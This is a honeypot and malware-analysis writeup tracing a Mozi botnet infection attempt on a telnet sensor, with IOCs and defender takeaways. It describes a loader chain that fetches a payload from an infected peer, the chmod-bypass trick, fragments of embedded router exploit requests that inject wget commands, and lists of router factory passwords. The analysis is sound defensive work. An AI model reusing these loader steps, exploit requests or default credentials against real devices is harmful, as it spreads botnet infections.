// GreyNoise  ·  writeup

GreyNoise Swarm - Mozi Zombie Loader

GreyNoise Medium GreyNoiseWiresharktsharkCowrieURLhausMalwareBazaarAbuseIPDBREMnuxCyberChefradare2

Introduction

GreyNoise watches the internet’s background noise: the scanners, botnets and opportunistic exploit traffic that hit every public IP. Through Project Swarm, anyone can run a GreyNoise sensor and keep the full PCAP of everything that hits it. The data is yours to dig into. That turns a $4 VPS into a steady supply of real attack traffic to investigate, with no lab environment and no answer key.

Credit: This project was inspired by John Hammond’s interview with the creator of GreyNoise, which introduced Project Swarm and the idea of running your own sensors and keeping the PCAPs.

The Sensor Fleet

Four $4/month DigitalOcean droplets, one per region, each running a different GreyNoise profile so they attract different traffic. Outbound traffic is disabled on every sensor, so attackers can log in and run commands but can’t pull anything back down. That trade-off comes up again later in this writeup.

SensorRegionProfileBait
Bold EarwigSydney (SYD1)Apache Tomcat 8.0.45 - VULNERABLECVE-2017-12617 JSP upload → webshell
Pensive MarkhorSingapore (SGP1)Cowrie Telnet HoneypotTelnet logins + shell sessions (IoT botnets)
Vibrant QuetzalSan Francisco (SFO3)React Server Components - VULNERABLECVE-2025-55182
Festive GoatFrankfurt (FRA1)WordPress MasterStudy LMS - VULNERABLEPlugin LFI / traversal (2024 CVE cluster)

Today’s Sensor: Pensive Markhor (Cowrie Telnet)

This writeup focuses on the Singapore sensor running Cowrie, a medium-interaction SSH/telnet honeypot. Cowrie accepts logins, fakes a Debian shell, and records every command an attacker types. Exposed telnet is where IoT botnets live: they sweep for port 23, try factory passwords, and run a loader script the moment they get a shell. A telnet honeypot doesn’t just catch the knock at the door. It records the whole break-in.

The profile listens on 23/tcp and 2323/tcp and, per its description, accepts any credentials and records the full interactive session. Outbound traffic is disabled, which matters later. The sensor registered at 2026-10-14 01:37 UTC and logged 37,585 sessions in its first 24 hours. The Mozi bot in this writeup reached it the same day.

Exporting the Session PCAP

Each sensor exports its sessions as PCAP, either per session (Download → Full PCAP / Raw Source / Raw Dest) or in bulk for a time window. GreyNoise keeps about 24 hours of PCAP per sensor, so interesting sessions need exporting the same day or they’re gone.

Gotcha: The bulk export is split into pages. A session you can see in the UI may be on page 2 or later, so if a filter comes up empty, check you’ve merged every page.

Executive Summary

An infected IoT device swept the internet for telnet using Mirai’s stateless SYN scanner, and the same device then logged into the Cowrie sensor as root with a ZTE router factory password, sprayed vendor CLI escape commands to reach a busybox shell, probed for a writable directory, and used hex-encoded echo canaries to confirm its commands were executing. The loader tried three download methods for a single-letter payload hosted on another infected device’s high port, with a cp /bin/ls fallback to get execute permission on devices without chmod. The sensor’s egress block killed the download, but URLhaus had the URL live for five days and MalwareBazaar matched the payload to Mozi.m, a Mozi P2P botnet build first seen in January 2021. The hash had not changed in more than five years, so this was leftover botnet traffic: devices still spreading a botnet whose operators were arrested and which was later hit by a kill switch. Static analysis tied the binary directly to the session (the loader templates and Zte521 are in its strings) and showed what an infected router becomes: a DHT node with eleven HTTP exploits, firewall rules that lock out rival bots and the ISP’s own management channel, traffic-hijacking templates, and Mirai’s original string table with its changeme.com placeholders still in it.

flowchart LR
  A[Infected IoT peer<br/>SYN scan :23] --> B[Telnet login<br/>root / ZTE default]
  B --> C[CLI escape spray<br/>enable / system / sh]
  C --> D[Writable-dir probe<br/>+ hex canary]
  D --> E[wget / curl / busybox wget<br/>peer-hosted payload]
  E -. egress blocked .-> F[(Download fails)]
  E --> G[URLhaus: URL online 5 days]
  G --> H[MalwareBazaar: Mozi.m<br/>first seen 2021]
  subgraph Sensor [GreyNoise sensor - Cowrie]
    B
    C
    D
    E
    F
  end

Artifacts

The Knock: A Mirai-Fingerprinted SYN Scan

Before it ever logged in, 103.31.93.246 knocked. The capture holds a run of bare SYNs from it to 23/tcp, all from the same source port (46843), re-sent every few seconds with no payload. Wireshark marks many of them as retransmissions and port-number reuse. A telnet display filter returns nothing for these packets, because a handshake-less probe carries no telnet data to decode.

What identifies them is how Mirai scans. Its scanner sends SYNs from a raw socket and keeps no connection state. Instead it sets each SYN’s TCP sequence number to the destination IP, so it can match a SYN-ACK back to its probe without a table. That makes a single packet attributable to the Mirai code family, which Mozi inherited, and it’s a fingerprint you can check yourself: convert the sensor IP to a 32-bit integer and filter tcp.seq_raw against it.

python3 -c "import ipaddress;print(int(ipaddress.ip_address('SENSOR_IP')))"

tshark -r sessions-2026-10-14T16_16_38.111Z-to-2026-10-14T22_16_38.111Z-page-1.pcap -Y "tcp.flags.syn == 1 && tcp.flags.ack == 0 && tcp.seq_raw == SENSOR_IP_INT" -T fields -e frame.time -e ip.src -e tcp.srcport

Twenty of the capture’s 677 packets match, every one from 103.31.93.246. In the hex pane the TCP sequence bytes are the destination IP bytes, side by side on the same row. Wireshark’s info column hides this by default because it shows relative sequence numbers (Seq=0); the raw value is under Transmission Control Protocol → Sequence Number (raw), and Apply as Column puts it on every row. Conversation completeness reads CLIENT_ESTABLISHED, meaning the sensor answered with a SYN-ACK. The scan told the bot telnet was open, and its next connection was a login. The timestamps show the hand-off. The fingerprinted SYNs run from 22:08:55 to 22:13:00 UTC, and from 22:12:03 onward each one is followed about a second later by a full telnet session from a fresh source port.

Tip: The same fingerprint shows up across the sensor’s other captures from other sources (103.26.82.188 scanned and then logged in the same way on 2026-10-15). It’s a quick way to separate botnet scanning from the commercial scanners and port sweeps that make up most of a day’s traffic.

The Login: A Router’s Factory Password

A SYN scan only tells the bot the port is open. The interesting traffic is the follow-up connection, so filter port 23 for packets that actually carry data. One source, 103.31.93.246, dominates: several complete telnet sessions, each running the same script. The walkthrough below follows tcp.stream eq 19.

tshark -r sessions-2026-10-14T16_16_38.111Z-to-2026-10-14T22_16_38.111Z-page-1.pcap -Y "tcp.port == 23 && tcp.len > 0" -T fields -e ip.src -e tcp.srcport -e tcp.stream

Follow → TCP Stream in ASCII turns the session into a transcript. The bot logged in as root with Zte521, a ZTE router factory default, and Cowrie accepted it and served a Debian MOTD. The bot wasn’t guessing at random; it was working through a list of vendor default credentials for IoT devices.

Tip: Wireshark labels these packets [Malformed Packet: TELNET]. That’s the telnet dissector choking on Cowrie’s ANSI escape codes (\x1b[4l), not anything the attacker did. Follow TCP Stream reads straight through it.

Breaking Out of the Router Shell

Without waiting for output, the bot sent a burst of commands: start, enable, config terminal, system, linuxshell, su, shell, sh. Each is the escape keyword for a different vendor’s restricted CLI on routers, ONTs and DVRs. On a real device, whichever one that vendor’s shell recognises drops the session into busybox, and the rest fail harmlessly. Cowrie presents a full bash prompt from the start, so most of them come back command not found and enable dumps the bash builtin list. Mirai’s original loader sent enable, system, shell and sh, and this bot extends the list to cover more vendors.

Finding Somewhere to Write

Next came a single line that chains >/path/.x&&cd /path across /var/run, /mnt, /usr, /dev, /dev/shm, /tmp and /var. Each > creates an empty .x file, and the && only moves into the directory if that write worked. That’s a writable-directory test that needs no test binary, which suits stripped-down embedded busybox builds. Every candidate is tried in order, so the shell ends up in the last writable one; on the sensor the prompt changed from ~# to /var#.

The same line ends with /bin/busybox echo -e '\x4c\x41\x4a\x45\x41\x4d', which decodes to LAJEAM. That’s a canary. Over a telnet session the loader can’t trust exit codes, so it looks for a string in the output that can only appear if its command actually ran. Hex-encoding keeps the marker out of the echoed command line itself, so a match means the command really ran. The next command ran busybox wget with no URL, and the “missing URL” error confirmed a downloader was available.

echo -e '\x4c\x41\x4a\x45\x41\x4d'

The Payload Pull, and Where It Stopped

The final line is the actual loader. It tries the same URL three ways, wget, then curl -O, then /bin/busybox wget, chained with || so it uses whichever downloader the device has. The URL was hxxp://201.159.91[.]2:41978/i: a single-letter file on a random high port on a bare IP, with no domain to sinkhole.

tshark -r sessions-2026-10-14T16_16_38.111Z-to-2026-10-14T22_16_38.111Z-page-1.pcap -Y 'tcp.port == 23 && frame contains "http://"' -T fields -e frame.time -e ip.src

That filter returns 14 packets. Six of them are the same 391-byte loader line from 103.31.93.246, each in a different TCP session and each followed by Cowrie’s reply. All six land between 22:12:08 and 22:13:05 UTC. In under a minute the bot logged in, ran the full script, failed to download, disconnected and came back to try again six times, each time sending the loader three to four seconds after connecting.

Once the file is down, chmod 777 i makes it executable. If that fails, the fallback is (cp /bin/ls ii; cat i>ii && rm i; cp ii i; rm ii). Copying /bin/ls gives a file that already has the execute bit, and cat i>ii overwrites its contents with the payload without touching its permissions. Minimal busybox builds on cheap routers often leave chmod out, and this trick keeps the infection chain working on them. Then ./i runs it, and a second canary (IYSRVVCN) confirms the line finished.

On the sensor, none of it landed. All three downloads timed out (Connecting to … failed: Connection timed out, curl: (7) … Operation timed out), and the remaining commands failed because there was no i to act on. URLhaus showed the URL online and serving at the time, so the server wasn’t down. The sensor’s egress block is the cause, and the trade-off is deliberate: a vulnerable-profile honeypot that can reach out can be recruited into the botnet it’s watching. The cost is that the sensor captured everything up to the payload but not the binary.

Gotcha: The chmod: cannot access '||(' and rm: cannot remove 'ii)' lines are Cowrie’s fake shell misparsing the ||( … ) subshell as arguments. A real sh handles that syntax fine. It’s a honeypot tell, alongside Cowrie’s default svr04 hostname, and a bot that checks for either can skip the sensor.

Recovering Stage 2 from Threat Intel

The sensor didn’t get the binary, but it did capture the URL, and that’s enough. URLhaus entry 3946889 had the URL listed as an active malware download, online for more than five days at the time of the session, with an abuse report already sent to LACNIC. URLhaus had fetched the payload itself: one ELF. Pivoting on that hash to MalwareBazaar gave the stored filename Mozi.m, with a Mirai signature that ClamAV, CERT.PL MWDB and ReversingLabs all agreed on. The Mirai and Gafgyt detections come from Mozi reusing code from both families. The filename is the real attribution. The loader never checked the CPU architecture before pulling i, so it pushed one build to every device it got into and accepted that it would fail on the rest.

A Botnet Nobody Is Running

The first-seen date is the striking detail. MalwareBazaar first logged this exact hash on 2021-01-12. It has 3,355 uploads and was last seen the day before this capture. An actively operated botnet rebuilds and repacks constantly, so a byte-identical binary surviving more than five years points to nobody updating it. That matches Mozi’s history. 360 Netlab first reported it in late 2019 as a P2P botnet built from Mirai and Gafgyt code. In July 2021, Chinese law enforcement arrested its alleged author with Netlab’s help (The Record), but the P2P network kept running without them. Then in August 2023 Mozi activity suddenly dropped, first in India on 8 August and in China on 16 August. ESET traced it to a kill switch: on 27 September 2023 a UDP message told every bot to download an “update” that killed the Mozi process, disabled sshd and dropbear, replaced the binary and blocked ports. ESET found the takedown binary closely matched Mozi’s own code and concluded it came from the original authors, Chinese law enforcement, or both, without being able to say which (ESET, Who killed Mozi?, 1 Nov 2023; BleepingComputer). Devices the kill switch never reached still run the original propagation logic. They scan, log in and install the same 2021 build, with nobody in charge of them.

The infrastructure fits that picture too. Mozi has no central download server: each infected node runs a small HTTP server on a random high port and serves its own copy to the next victim. A bare IP on 41978 serving /i matches that pattern, and AbuseIPDB confirms the host is not attacker-owned infrastructure. 201.159.91[.]2 belongs to Abenet Provedora de Acesso a Internet (AS264927), a fixed-line ISP in Cassilândia, Brazil: a home or small-business broadband connection. It also has a 100% abuse confidence score from 1,274 reports by 190 sources since January 2025, mostly port scanning, brute force and IoT-targeted attacks, including other telnet honeypots reporting it. The same device that served the payload to the sensor has been scanning and brute-forcing telnet itself for about 21 months. That’s what a Mozi peer looks like: every infected router attacks new victims and also serves the binary to them. The bot that logged in is the same kind of device. 103.31.93[.]246 belongs to Cyber Internet Services Pakistan (AS9541), also a fixed-line ISP, in Faisalabad, Punjab. It has an 82% abuse confidence score from 34 reports by 28 sources since December 2024, again mostly port scanning, hacking, brute force and IoT-targeted attacks. A broadband router in Pakistan logged into a honeypot in Singapore and told it to download a binary from a broadband router in Brazil. Neither device belongs to the attacker. Blocking either IP just removes one more victim from the chain. The sensor’s session list shows 103.31.93.246 logging in again at 2026-10-15 01:48 UTC, a day later, alongside 103.26.82.188 hitting port 23 in the same minute. Nobody re-targeted the sensor; the infected device just kept working through its list.

whois 201.159.91.2

https://www.welivesecurity.com/en/eset-research/who-killed-mozi-finally-putting-the-iot-zombie-botnet-in-its-grave/

Static Analysis in REMnux

The sample was analysed in a REMnux VM: snapshot taken after remnux upgrade, network switched to host-only before the sample went in, and the sample kept zipped until it was inside. MalwareBazaar saves it under its SHA256 with an .elf extension.

/usr/bin/file 12013662c71da69de977c04cd7021f13a70cf7bed4ca6c82acbc100464d4b0ef.elf
readelf -h 12013662c71da69de977c04cd7021f13a70cf7bed4ca6c82acbc100464d4b0ef.elf

file sums it up in one line: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped. Statically linked means it carries its own libc and runs on any ARM router regardless of what’s installed. Stripped means the symbol table is gone, so there are no function names to lean on in a disassembler. The full header says 32-bit ARM, little-endian, EABI version 4: a build for the ARM SoCs common in home routers and ONTs, and the reason qemu-arm-static is the right emulator for any dynamic run. The filename’s .m suffix doesn’t mean MIPS, which is what I’d assumed before checking. The strings explain why (see Why the “Mozi.m” sample is ARM below).

upx -d 12013662c71da69de977c04cd7021f13a70cf7bed4ca6c82acbc100464d4b0ef.elf -o Mozi.unpacked

The second surprise: upx -d returns NotPackedException: not packed by UPX. Mozi samples are commonly reported as UPX-packed, often with a tampered header, but this one isn’t packed at all. The header backs that up: 17 intact section headers and a ~300 KB file size fit a statically linked, unpacked binary. Packed samples usually strip their section table down to almost nothing. That makes the strings readable directly, with no unpacking step.

With no central C2, Mozi finds the rest of the botnet by joining the public BitTorrent DHT and using it as its peer and config network. To join, a new node first has to contact a known bootstrap node, so those addresses have to be inside the binary. A grep for DHT-related keywords pulls them straight out of the unpacked strings.

strings -n 6 12013662c71da69de977c04cd7021f13a70cf7bed4ca6c82acbc100464d4b0ef.elf | grep -iE 'dht|bittorrent|transmission|router\.'

Three hostnames come back, all on UDP 6881, the standard BitTorrent port: dht.transmissionbt.com, router.bittorrent.com and router.utorrent.com. These are the legitimate public bootstrap nodes that Transmission, BitTorrent and µTorrent clients use. Mozi borrows them to blend into ordinary torrent traffic, which is why the network has no domain of its own to sinkhole. They’re also the most reliable network detection for this family: a router, camera or ONT has no reason to talk to the BitTorrent DHT. Grepping for the port as well catches bootstrap peers hardcoded as bare IPs; this sample has four more.

strings -n 6 12013662c71da69de977c04cd7021f13a70cf7bed4ca6c82acbc100464d4b0ef.elf | grep ':6881'

rabin2 -z 12013662c71da69de977c04cd7021f13a70cf7bed4ca6c82acbc100464d4b0ef.elf

Gotcha: FLOSS only decodes strings in Windows PE files and refuses an ARM ELF (FLOSS currently supports the following formats … PE). Use strings, or radare2’s rabin2 -z, which lists strings from the data sections with their addresses.

The full rabin2 -z output runs to about 1,080 strings, and it reads like a manual for the bot. Taking it in order of what matters to this investigation:

The loader that logged in is in here

The exact command lines from the Cowrie session are stored in the binary as format strings, with %s:%d where the peer’s IP and port get filled in:

So the bot on 103.31.93.246 was running this same code, and the sample isn’t just a sibling from the same family. The canaries are the %s slots, filled with random strings each run, which is why LAJEAM and IYSRVVCN won’t match anyone else’s sessions. The binary also carries two fallbacks the sensor never saw: a bin.sh variant, and an echo dropper for devices with no downloader at all. The echo path reads the first 52 bytes of /bin/ls (dd bs=52 count=1 if=/bin/ls, hexdump -n 52), which is exactly the size of an ELF32 header. On that path the bot does check the victim’s CPU architecture, then writes out one of 13 tiny embedded downloader stubs (GET /Mozi.a, /Mozi.m, /Mozi.x, /Mozi.s, /Mozi.r, /Mozi.b, /Mozi.4, /Mozi.k, /Mozi.l, /Mozi.p, /Mozi.6, /Mozi.7, /Mozi.c), each one built for a different CPU.

The password from the session is in the credential list too: Zte521 sits among roughly 80 entries. Many are defaults for ISP-issued fibre ONTs and routers in China (CUAdmin for China Unicom, CMCCAdmin for China Mobile, e8telnet/e8ehome for China Telecom), alongside Huawei and ZTE defaults (!!Huawei, @HuaweiHgw, adminHW, Pon521) and the original Mirai list (xc3511, vizxv, 7ujMko0admin). A list of telnet login banners (dvrdvs login, mdm9625, BCM96848, zxic, USR-G806 login) lets it recognise what kind of device it has reached.

rabin2 -z 12013662c71da69de977c04cd7021f13a70cf7bed4ca6c82acbc100464d4b0ef.elf | grep -E 'Zte521|CUAdmin|CMCCAdmin|7ujMko0|e8telnet'
rabin2 -z 12013662c71da69de977c04cd7021f13a70cf7bed4ca6c82acbc100464d4b0ef.elf | grep -E 'GET /Mozi\.'

Why the “Mozi.m” sample is ARM

Every exploit in the binary asks the next victim to fetch Mozi.m or Mozi.a from the attacking node, whatever the victim’s CPU. The node’s built-in web server answers with a fake Server: nginx / Content-Type: application/zip response, and the strings include /proc/%s/exe, the path to a process’s own executable. That points to each node serving its own binary for whatever path it’s asked for. If so, the filename reflects the request URL, not the architecture. The peer that served this copy was an ARM router, so Mozi.m was ARM.

The exploit arsenal

Telnet passwords are only one way in. The .data section holds ready-made HTTP exploit requests, each labelled in a lookup list (gpon8080, gpon80, realtek, netgear8080, netgear80, huawei, tr064, hnap, camcrossweb, camjaws, dlink, r7064, vacron). Each one ends in wget http://%s:%d/Mozi.m or Mozi.a, so any device it breaks into becomes another download server.

LabelRequestTarget (commonly tracked as)
gpon80 / gpon8080POST /GponForm/diag_Form?images/ with dest_host=;wget…“GPON fibre routers, CVE-2018-10561 / CVE-2018-10562
realtekPOST /picsdesc.xml UPnP AddPortMapping, command in NewInternalClientRealtek SDK miniigd, CVE-2014-8361
netgear80 / netgear8080GET /setup.cgi?…todo=syscmd&cmd=Netgear DGN setup.cgi command execution
huaweiPOST /ctrlt/DeviceUpgrade_1 on :37215Huawei HG532, CVE-2017-17215
tr064POST /UD/act?1 SetNTPServers with backticksTR-064 NTP server injection (the 2016 Mirai ISP-router vector)
hnapPOST /HNAP1/ with the command in SOAPActionD-Link HNAP, CVE-2015-2051
r7064GET /cgi-bin/;cd${IFS}/var/tmp;…Netgear R7000 / R6400, CVE-2016-6277
dlinkPOST /soap.cgi?service=WANIPConn1 on :49152D-Link UPnP SOAP command injection
camjawsGET /shell?cd+/tmp;…JAWS web server DVRs (MVPower)
camcrosswebGET /language/Swedish${IFS}&&…CrossWeb DVR web server
vacronGET /board.cgi?cmd=Vacron NVR

About half of these requests (the GPON, Realtek, TR-064, JAWS and D-Link soap.cgi ones) carry the user agent Hello, World, Hello-World or Hello, world, which is a trivial network signature.

rabin2 -z 12013662c71da69de977c04cd7021f13a70cf7bed4ca6c82acbc100464d4b0ef.elf | grep -E 'GponForm|picsdesc|DeviceUpgrade|HNAP1|setup.cgi|board.cgi|/shell\?|UD/act|soap.cgi|cgi-bin/;|language/Swedish' | grep --color=always -E 'Hello[-,] ?[Ww]orld|$'

Locking the door behind it

Once installed, Mozi closes the ways in so no other botnet, and not the ISP either, can take the device back:

rabin2 -z 12013662c71da69de977c04cd7021f13a70cf7bed4ca6c82acbc100464d4b0ef.elf | grep -E 'iptables|cfgtool|sendcmd|killall|web_shell'

The P2P network and its config

There are eight bootstrap nodes in total: the three hostnames from the earlier grep plus bttracker.debian.org and four bare IPs (212.129.33.59, 82.221.103.244, 130.239.18.159, 87.98.162.88), all on :6881. The bencoded KRPC strings (1:q4:ping, 1:q9:find_node, 1:q9:get_peers, 1:q13:announce_peer) are a full DHT client. The bracketed tags ([ss], [cpu], [nd], [hp], [count], [ver], [sv], [rn], [ud], [dr], [idp], [hj], [set], [atk], [dip], [cnc]) are the fields of Mozi’s signed config, which is passed around the DHT. A [cnc] field lets an operator bolt a conventional C2 onto the P2P network.

Traffic hijacking

A block of HTML and JavaScript templates (full-page iframe overlays, <script src=…/gojs/?> injection, a cookie-wiping redirect, 301 Moved Permanently responses with a fake Baidu Server: BWS/1.1 header) sits next to /proc/sys/net/ipv4/ip_forward. A router that forwards its users’ traffic can also rewrite it, and these templates are built for injecting ads or redirects into web pages, which is presumably what the [hj] config tag switches on. The template strings carry veri=20190909, a September 2019 version marker that fits the year Mozi was first reported.

Mirai’s leftovers, decoded

A run of garbled strings (ALA\fAJCLEGOG\fAMO, okpck, nmnlmevdm) is Mirai’s obfuscated string table. Mirai’s source XORs its table with the key 0xdeadbeef, which works out to a single-byte XOR with 0x22. Decoding them gives Mirai’s original values, word for word:

python3 -c "print(bytes(b ^ 0x22 for b in b'ALA\x0cAJCLEGOG\x0cAMO').decode())"

EncodedDecodedWhat it is in Mirai
ALA\fAJCLEGOG\fAMOcnc.changeme.comPlaceholder C2 domain
PGRMPV\fAJCLEGOG\fAMOreport.changeme.comPlaceholder scan-report server
\r\r[MWVW\f@G\rFsU//youtu.be/dQw…The Rickroll link in Mirai’s source
\r@KL\r@WQ[@MZ + okpck/bin/busybox + MIRAIMirai’s own busybox canary
nmnlmevdmLOLNOGTFOSelf-destruct marker
XMNNCPF, \fCLKOGzollard, .animeNames of rival malware for its killer to target
jvvrdnmmf, vqMWPAG gLEKLG sWGP[HTTPFLOOD, TSource Engine QueryDDoS attack modules
FMQCPPGQV, ANMWFDNCPGdosarrest, cloudflareDDoS-protection checks in the HTTP flood

The changeme.com placeholders were never changed. Mozi’s authors lifted Mirai’s attack code wholesale and replaced its C2 with the DHT, leaving the old config strings in place.

Tip: Unescape before XOR, because rabin2 prints \f and \r as two-character escapes. Fork keeps each line separate; without it the newlines get XORed too (0x0a ^ 0x22 = () and the output collapses into one line full of ((.

Attack Summary

PhaseAction
Discovery103.31.93[.]246 SYN-scans 23/tcp using Mirai’s stateless scanner (seq = dst IP); sensor answers SYN-ACK
Initial AccessBot logs into the Cowrie sensor over telnet with ZTE default root credential
ExecutionSprays vendor CLI escape keywords to reach a busybox shell
DiscoveryTests candidate directories with >dir/.x && cd dir, settles in /var
ExecutionHex echo canary confirms command execution; bare busybox wget confirms a downloader
Command and Controlwget / curl / busybox wget fallback chain pulls /i from an infected peer’s high port
Defense Evasioncp /bin/ls + cat overwrite to obtain execute permission without chmod
Execution./i then second canary; download blocked by sensor egress policy

Forensic Timeline

Timestamp (UTC)Event
2021-01-12 20:52:19Mozi.m (SHA256 12013662…d4b0ef) first seen on MalwareBazaar
2026-10-09 10:32:07hxxp://201.159.91[.]2:41978/i added to URLhaus; abuse report sent to LACNIC 10:33:28
2026-10-13 07:12:21Same hash last seen on MalwareBazaar
2026-10-14 01:37:39Pensive Markhor registered with GreyNoise
2026-10-14 22:08:55First Mirai-fingerprinted SYN from 103.31.93[.]246 to 23/tcp (src port 46843); 20 in total through 22:13:00
2026-10-14 22:12:04First telnet session from 103.31.93[.]246, one second after a scan SYN; loader line sent at 22:12:08
2026-10-14 22:12:17 – 22:12:51Four more sessions, each sending the same 391-byte loader line 3–4 s after connecting (22:12:20, 22:12:36, 22:12:51, 22:12:54)
2026-10-14 22:13:01Sixth and last session opens (tcp.stream eq 19, src port 46651), one second after the final scan SYN
2026-10-14 22:13:03Login with root:Zte521
2026-10-14 22:13:05Loader line sent (wget/curl/busybox wget → ./i → second canary); Cowrie’s error output returned 0.17 s later
2026-10-15 01:48:05103.31.93[.]246 returns, new telnet sessions to 23/tcp

IOCs

TypeValue
IP (scanner + loader / infected peer)103.31.93[.]246 (AS9541 Cyber Internet Services, PK, fixed-line ISP; AbuseIPDB 82%)
IP (Mirai-fingerprinted scanner / login)103.26.82[.]188
IP (payload host / infected peer)201.159.91[.]2 (AS264927 Abenet, BR, fixed-line ISP; AbuseIPDB 100%)
URLhxxp://201.159.91[.]2:41978/i
Credentialroot / Zte521
SHA25612013662c71da69de977c04cd7021f13a70cf7bed4ca6c82acbc100464d4b0ef
SHA1292559e94f1c04b7d0c65d4a01bbbc5dc1ff6f21
MD5eec5c6c219535fba3a0492ea8118b397
FilenameMozi.m (served as i); 32-bit ARM little-endian ELF, not packed
Canary stringsLAJEAM, IYSRVVCN
DHT bootstrap (legitimate, abused)dht[.]transmissionbt[.]com:6881, router[.]bittorrent[.]com:6881, router[.]utorrent[.]com:6881, bttracker[.]debian[.]org:6881
DHT bootstrap (IP)212.129.33[.]59:6881, 82.221.103[.]244:6881, 130.239.18[.]159:6881, 87.98.162[.]88:6881
User-Agent (exploit requests)Hello, World / Hello-World / Hello, world
TR-069 hijackConnectionRequestPassword "acsMozi", ManagementServer URL http://127.0.0.1
Files/etc/init.d/S95baby.sh, /usr/networks, /mnt/jffs2/Equip.sh (modified)
Artefact.x marker files in /var/run, /mnt, /usr, /dev, /dev/shm, /tmp, /var

MITRE ATT&CK

TechniqueIDDescription
Network Service DiscoveryT1046Stateless SYN sweep for exposed telnet (seq = destination IP)
Password GuessingT1110.001Telnet login from a vendor factory-credential list
Default AccountsT1078.001ZTE router default root password accepted
Unix ShellT1059.004Busybox shell used for every loader stage
File and Directory DiscoveryT1083>dir/.x && cd dir writable-directory probe
Ingress Tool TransferT1105wget / curl / busybox wget fallback chain for the payload
Linux File and Directory Permissions ModificationT1222.002chmod 777 with a cp /bin/ls + cat overwrite fallback
Exploit Public-Facing ApplicationT1190Embedded HTTP exploits (GPON, Huawei HG532, Realtek, D-Link HNAP, Netgear, TR-064, DVRs) used to spread
RC ScriptsT1037.004Persistence via /etc/rc.local, /etc/init.d/S95baby.sh and ONT startup scripts
Disable or Modify System FirewallT1562.004iptables rules dropping 22/23/2323 and TR-069 ports; UPnP port mapping to open its own
Service StopT1489killall -9 telnetd utelnetd scfgmgr, sshd / dropbear
Obfuscated Files or InformationT1027Mirai string table XOR-encoded with 0x22
Adversary-in-the-MiddleT1557HTML / JS injection templates and ip_forward for hijacking users’ web traffic
Network Denial of ServiceT1498Inherited Mirai flood modules (HTTPFLOOD, TSource Engine Query, raw packet floods)

Defender Takeaways

Telnet with factory credentials is still enough to get in. The whole chain started with a vendor default password over a cleartext protocol that should not face the internet. Disable telnet on edge devices, force a credential change at provisioning, and alert on any inbound 23/tcp or 2323/tcp session that completes a handshake.

Botnets keep spreading after the operators are gone. The binary hadn’t changed since 2021, and the arrests and kill switch didn’t stop it reaching a new sensor in 2026. Unpatched IoT with no update path keeps a botnet alive with no one in charge. Asset inventory and replacing end-of-life devices are the real fix, because there’s no operator left to disrupt.

P2P C2 can’t be sinkholed, but it’s noisy. Every download host and login source here is another victim, so IP blocklists only remove one victim at a time. Any device talking to public BitTorrent DHT bootstrap nodes (router.bittorrent.com, router.utorrent.com, dht.transmissionbt.com on UDP 6881) is the better signal. An embedded device doing that is almost certainly infected.

Infected routers lock the ISP out. This sample drops TR-069 management ports and rewrites the ONT’s ACS settings to 127.0.0.1 with the password acsMozi, so the ISP can no longer remotely fix or reset the device. For an ISP, a CPE that suddenly stops checking in to the ACS is the alert. Telnet and SSH being firewalled off on a device that used to answer is the same signal seen from outside.

Loader tradecraft gives you host-level signals. The .x marker files across seven directories, hex echo canaries, and a cp /bin/ls followed by an overwrite of the copy are all distinctive. A file named ii or i appearing in /var or /tmp on an embedded device is worth a detection rule even without the payload hash.

A honeypot’s egress block costs you stage 2, and public threat intel fills the gap. Blocking outbound traffic stopped the sensor joining the botnet but also stopped it capturing the binary. Pivoting the captured URL through URLhaus and MalwareBazaar recovered the sample and its history without ever contacting attacker infrastructure, and the sample’s own strings then confirmed it was the code behind the session. The honeypot also gives itself away: Cowrie’s default svr04 hostname and its subshell parsing errors are visible to any bot that checks.

Conclusion

Within a day of going live, a telnet honeypot in Singapore was found by a Mirai-style scan, logged into with a ZTE router’s factory password and walked through a complete loader chain in about four seconds: breaking out of the router CLI, finding a writable directory, testing for a downloader and pulling a payload from another infected router. The source was a broadband customer in Pakistan and the download host was a broadband customer in Brazil. Neither had any idea they were taking part.

The sensor’s egress block stopped stage 2, and threat intel recovered it. URLhaus and MalwareBazaar identified the file as Mozi, a hash first seen in January 2021, and static analysis in REMnux tied it back to the session: the loader templates, the Zte521 credential and the /Mozi.m download path are all in the binary’s strings. The same strings show what an infected device would have gone on to do: exploit eleven other router and DVR bugs, join a BitTorrent DHT network, lock its ISP out over TR-069 and close the ports it came in through.

Mozi’s authors were arrested in 2021 and its network was shut down with a kill switch in 2023, yet the same build still turned up on a new sensor in 2026. Disrupting the operators didn’t remove the infected devices. As long as end-of-life routers with default credentials stay online, this code keeps spreading on its own, which makes inventory, credential hygiene and egress control the defences that actually work against it.